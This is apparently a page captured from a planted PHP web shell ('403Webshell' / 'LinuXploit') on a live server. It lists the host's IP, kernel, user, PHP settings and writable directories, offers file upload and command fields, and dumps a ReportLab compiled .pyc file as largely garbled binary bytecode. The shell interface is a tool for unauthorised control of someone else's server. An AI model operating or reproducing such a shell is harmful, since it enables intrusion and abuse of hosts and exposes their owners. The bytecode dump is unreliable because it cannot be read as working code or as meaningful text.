403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/platypus/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/platypus/__pycache__/frames.cpython-311.pyc
�

~G�b�+���dZdZdZddlZejd��ZdZddlmZej	Z	Gd�d	��Z
Gd
�d��ZdS)z3.5.14z.A frame is a container for content on a page.
)�ShowBoundaryValue�Frame�Nzreportlab.platypus)�x1�y1�width�height�leftPadding�
bottomPadding�rightPadding�
topPadding)�	rl_configc��eZdZdd�Zd�ZdS)r�rrr皙�����?Nc�0�||_||_||_dS�N)�colorr�	dashArray)�selfrrrs    �;/usr/lib/python3/dist-packages/reportlab/platypus/frames.py�__init__zShowBoundaryValue.__init__s����
���
�"�����c�*�|jduo
|jdkS)Nr)rr�rs r�__bool__zShowBoundaryValue.__bool__s���z��%�7�$�*�a�-�7r)rrN)�__name__�
__module__�__qualname__rr�rrrrs7������#�#�#�#�
8�8�8�8�8rrc��eZdZdZ			dd�Zd�Zd�Zd�Zd	�Zd
�Z	d�Z
d�Zdd
�ZeZ
d�Zed���Zdd�Zd�Zd�Zd�ZdS)rah
    A Frame is a piece of space in a document that is filled by the
    "flowables" in the story.  For example in a book like document most
    pages have the text paragraphs in one or two frames.  For generality
    a page might have several frames (for example for 3 column text or
    for text that wraps around a graphic).

    After creation a Frame is not usually manipulated directly by the
    applications program -- it is used internally by the platypus modules.

    Here is a diagramatid abstraction for the definitional part of a Frame::

                width                    x2,y2
        +---------------------------------+
        | l  top padding                r | h
        | e +-------------------------+ i | e
        | f |                         | g | i
        | t |                         | h | g
        |   |                         | t | h
        | p |                         |   | t
        | a |                         | p |
        | d |                         | a |
        |   |                         | d |
        |   +-------------------------+   |
        |    bottom padding               |
        +---------------------------------+
        (x1,y1) <-- lower left corner

    NOTE!! Frames are stateful objects.  No single frame should be used in
    two documents at the same time (especially in the presence of multithreading.
    �Nrc
�J�|	|_||_||jd<||jd<||jd<||jd<||jd<||jd<||jd<||jd<|
|_|�tj}||_|���|���dS)	N�_x1�_y1�_width�_height�_leftPadding�_bottomPadding�
_rightPadding�_topPadding)	�id�_debug�__dict__�showBoundaryr
�overlapAttachedSpace�_oASpace�_geom�_reset)
rrrrrr	r
rrr+r.r/r,s
             rrzFrame.__init__@s��������� "��
�e��!��
�e��"'��
�h��#)��
�i� �)4��
�n�%�*7��
�&�'�)5��
�o�&�'1��
�m�$�)����'�	�@^�)=�,��
��
�
�������
�
�
�
�
rc�R�|tvr|jd|zSt|����N�_)�	_geomAttrr-�AttributeError)r�as  r�__getattr__zFrame.__getattr__Zs)���	�>�>�$�-��A��"6�6��Q���rc�r�|tvr#||jd|z<|���dS||j|<dSr4)r6r-r1)rr8�vs   r�__setattr__zFrame.__setattr__^s>���	�>�>�#$�D�M�#�a�%� ��J�J�L�L�L�L�L� �D�M�!���rc���|j�di��s*tD]"}d|z}|j||jd|<�#|���D]\}}t	|||���dS�N�
_savedGeomr5)r-�
setdefaultr6�items�setattr)r�kwds�ga�kr;s     r�	_saveGeomzFrame._saveGeomes����}�'�'��R�8�8�	D��
D�
D����V��26�-��2C��
�l�+�B�/�/��:�:�<�<�	�	�C�A�a��D��1�����	�	rc���|j�dd��rHtD]*}d|z}|j|d|j|<|jd=�+|���dSdSr>)r-�getr6r1)rrDs  r�_restoreGeomzFrame._restoreGeommst���=���\�$�/�/�	��
0�
0����V��$(�M�"�$5�l�$C��
�b�!��M�,�/�/��J�J�L�L�L�L�L�	�	rc��|j|jz|_|j|jz|_|j|jz|_|j|jz
|jz
|j	z
|_
|j|jz
|jz
|_dSr)
r#r%�_x2r$r&�_y2r(�_y1pr'r)�_aWr*�_aHrs rr1zFrame._geomuso���8�d�k�)����8�d�l�*����H�t�2�2��	��8�d�h�&��):�:�T�=O�O����8�d�i�'�$�*:�:����rc��|���|j|jz|_|j|jz
|_d|_d|_d|_	d|_
dS)N�rg)rIr#r'�_xrLr*�_y�_atTop�_prevASpace�_leftExtraIndent�_rightExtraIndentrs rr2zFrame._reset~s]���������(�T�.�.����(�T�-�-���������
!$���!$����rc�0�|j|jz
|jz
Sr)rNrVrWrs r�_getAvailableWidthzFrame._getAvailableWidth�s���x�$�/�/�$�2H�H�Hrc
��||_||_	t|dd��r=|�|��	dD]"}t	||��rt||���#dS|j}|j}d}|���}t|dd��}	|j	sM|�
��}|jr2t|dd��s|	r|j}t||jz
d��}||z
|z
}
|
dks|	r|�||
��\}}
n(	dD]"}t	||��rt||���#dS|
|z
}
||
z}||tz
krrt js>|
|jks||kr-|s+dd	lm}|d
|j�d|�d|
�d
|�d|j�d����	dD]"}t	||��rt||���#dS|���}
t|dd��}|�r|dj�r
|d}|j}|j}|j}|j|z
|z
}|j|z}|s/||
z|
z}t|||
z
��}td||z
��}nq||
z|z
}||j|jz
k}|dks|dks|rB|dkr<td|r|jn||jz
��}|j}|dkr
d|d_ndx}x}}|� ||||||��|dkr|�!��|�"||j#|j$z|||z
���||_|j%r/tL�'d|�(��z��||
z}|jrt|dd��r|j}
|
|_||jkrd|_	||_	dD]"}t	||��rt||���#dS#dD]"}t	||��rt||���#wxYw)z� Draws the flowable at the current position.
        Returns 1 if successful, 0 if it would not fit.
        Raises a LayoutError if the object is too wide,
        or if it is too high for a totally empty frame,
        to avoid infinite loops�frameActionN��canv�_framerQr�	_ZEROSIZEF�_SPACETRANSFER)�LayoutErrorz	Flowable z (�xz points) too large for frame (z	 points).�	_frameBGs����framezframe-permanentzframe-permanent-1)�_sWzdrew %s))r^r]�getattrr[�hasattr�delattrrSrMrYrT�getSpaceBeforer0rU�max�wrap�_FUZZr
�allowTableBoundsErrorsrO�reportlab.platypus.doctemplatera�	__class__�
getSpaceAfter�active�left�right�startr%r#rLr*r$�render�pop�drawOnrRrVr,�logger�debug�identity)r�flowabler]�trySplitr8�y�p�s�aW�zeroSize�h�wra�sa�fbg�bg�fbgl�fbgr�bgm�fbw�fbx�fbh�fby�atts                        r�_addz
Frame._add�s�������
�L	(��x�
�d�3�3�
��$�$�T�*�*�*��N(�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(�
(�K��A��	�A��A��(�(�*�*�B��x��E�:�:�H��;�
2��*�*�,�,���=�2��x�(8��?�?�-�8�-� �,���A�d�.�.�q�1�1�A��A���	�A���s�s�h�s��}�}�R��+�+���1�1��l(�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(�
(�i
��F�A�
��F�A��1�U�7�{�{� �7�?�a���j�j�A�b�D�D�Zb�D�J�J�J�J�J�J�%�+�+� �*�*�*�A�A�A�a�a�a����D�H�H�H�'>�?�?�?��X(�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(�
(�S�+�+�-�-���d�;�t�4�4���"�3�r�7�>�"��R��B��7�D��8�D��(�C��+�d�*�4�/�C��(�4�-�C��0��!�e�b�j��!�!�A�b�D�k�k��!�!�C��G�n�n����!�e�a�i��!�4�8�d�.>�#>�>����<�<�3�0A�+A�+A�c�+A�c�Sf�Nf�Nf�"%�a�S�)A����c�4�8�(K�"L�"L�C�"&�(�C�"�$5�5�5�0C��B��
��./�/�C�/�#���I�I�d�4��C��C�8�8�8��G�|�|����	�	�	�����d�g��0E�&E�q�b�QR�d��S�S�S�"��
��;�M����Y��9J�9J�9L�9L�-L� M� M� M��R����=�*��x�(8��?�?�.�!�-��')�D�$��d�g�:�:�Q�t�{�����(�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(�
(��'�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(���s �&O�B3O�9A"O�G*O�'O<c���|j}|j}d}|js3|���}|jrt||jz
d��}||z
|z
}|dkrt|dd��sgS||_||_		|�
|j|��}dD]"}t||��rt||���#n*#dD]"}t||��rt||���#wxYw|S)z7Ask the flowable to split using up the available space.rr_Fr\)rSrMrTrjr0rkrUrgr^r]�splitrNrhri)	rr|r]r~rr�r��rr8s	         rr�zFrame.split�s���G���I��
���{�	.��'�'�)�)�A��}�
.���$�*�*�1�-�-��
�a�C��E���a�4�4����U�;�;�4��I������
�	(����t�x��+�+�A�(�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(��'�
(�
(���8�A�&�&�(��H�Q�'�'�'��
(�����s�;B<�<'C#c�B�ddlm}m}t|tt
tf��pt||��}d}	d}
|r||d��}|dk}n>t|t��r)|r'||jd��}|dk}|r|j	}	|j
}
|r[|���|�|��|	dkr|�
|	��|
r|�|
��|�||||��|r|���dSdS)zAdraw the frame boundary as a rectangle (primarily for debugging).r)�Color�toColorrdN)�reportlab.lib.colorsr�r��
isinstance�str�tuple�listrrrr�	saveState�setStrokeColor�setLineWidth�setDash�rect�restoreState)r]�sbrrrrr�r��ssr��da�cs            r�
_drawBoundaryzFrame._drawBoundary�sS��	8�7�7�7�7�7�7�7�
��C��d�+�
,�
,�
D�
�2�e�0D�0D����
��
�	"����2���A��b��B�B�
��,�
-�
-�	"�"�	"������$�$�A��b��B��
"��H���\��
�	$��N�N��������"�"�"��!�t�t�T�&�&�q�)�)�)��#�4�<�<��#�#�#��	�	�"�R��f�%�%�%�
�"�t� � �"�"�"�"�"�"�"rc	��|�||p|j|j|j|j|jz
|j|jz
��dSr)r�r.r#r$rKrL)rr]�__boundary__s   r�drawBoundaryzFrame.drawBoundarysT�����4�� A��0A�4�8�T�X� $��4�8� 3�T�X���5H�	J�	J�	J�	J�	Jrc�,�|jr"t�d|jz��|jr|�|��t
|��dkr;|d}|�||d���r|d=ndSt
|��dk�9dSdS)z�Consumes objects from the front of the list until the
        frame is full.  If it cannot fit one object, raises
        an exception.z&enter Frame.addFromlist() for frame %sr)r}N)r,ryrzr+r.r��len�add)r�drawlistr]�heads    r�addFromListzFrame.addFromLists���
�;�X����%M�PT�PW�%W�X�X�X���	$����d�#�#�#��(�m�m�a����A�;�D��x�x��T�1�x�-�-�
��Q�K�K���
�(�m�m�a������rc�b�|j�dg���|��dS)N�_generated_content)r-r@�extend)r�Cs  r�add_generated_contentzFrame.add_generated_content,s/���
� � �!5�b�9�9�@�@��C�C�C�C�Crc�X�d|����d|j�|jrdpd�d�S)N�(z x �*��))rYrOrTrs r�
_aSpaceStringzFrame._aSpaceString/s;��� $� 7� 7� 9� 9� 9� 9�$�(�(�4�;�CV�SV�C\�Z\�C\�C\�]�]r)r!r!r!r!NrNN)rr)rrr�__doc__rr9r<rFrIr1r2rYr�r�r��staticmethodr�r�r�r�r�rrrrr sB��������>KL�@A�-1�����4 � � �!�!�!�������;�;�;�%�%�%�I�I�I�T(�T(�T(�T(�l�C����0�#�#��\�#�.J�J�J�J����"D�D�D�^�^�^�^�^rr)�__version__r��__all__�logging�	getLoggerryr6�	reportlabr
rmrrrrr�<module>r�s���

��	����
����	��	�/�	0�	0��
g�	��������o��8�8�8�8�8�8�8�8�P^�P^�P^�P^�P^�P^�P^�P^�P^�P^r

Youez - 2016 - github.com/yon3zu
LinuXploit